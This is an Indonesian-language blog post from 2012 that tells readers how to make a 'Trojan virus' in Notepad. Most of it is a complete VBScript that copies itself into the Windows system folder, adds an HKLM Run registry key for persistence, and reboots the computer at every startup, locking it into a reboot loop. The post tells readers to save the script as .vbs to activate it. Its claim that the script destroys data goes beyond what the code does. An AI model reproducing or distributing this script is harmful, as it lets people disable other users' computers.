Friday 14 December 2012

Membuat Virus Perusak Data Dari Notepad Jenis Trojan

" Membuat Virus Perusak Data Dari Notepad Jenis Trojan "

Bagi Teman teman yang ingin belajar membuat virus, kali ini saya akan memberikan sebuah script untuk membuat virus sederhana dari notepad berjenis trojan, virus ini pun mampu merusak datadata yang terdapat di komputer / laptop kita, olehkarnanya apabila akan mencobanya harus berhati hari dalam pengoprasiannya, caranya apabila virus ini akan di tanamkan / dijalankan silahkan save script yang di tulis di notepad dengan ekstensi .vbs dan apabila tidak akan ditanamkan atau dijalankan simpan saja dengan ekstensi .txt 
Contoh :  
( Virus.vbs ) dengan file ekstensi tersebut maka virus akan aktif dan apabila di save dengan ekstensi ( Virus.txt ) maka virus ini tidak akan berjalan dan akan tersimpan berupa text / notepad.

Berikut adalah script untuk membuat virusnya :

rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
 
Silahkan Copy Semua Script Kode Diatas Dan PAstekan Di Notepad Dan Save Dengan Ekstensi .VBS Apabila Virus Akan Di Aktifkan, Dan Save Dengan Ekstensi .TXT Apabila Virus Hanya Akan Disimpan Di Notepad. Selamat Mencoba !! 
 
 

sumber : http://wizyuloverz.blogspot.com

Artikel Terkait

[archives limit=10]

0 comments:

Post a Comment

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Online Project management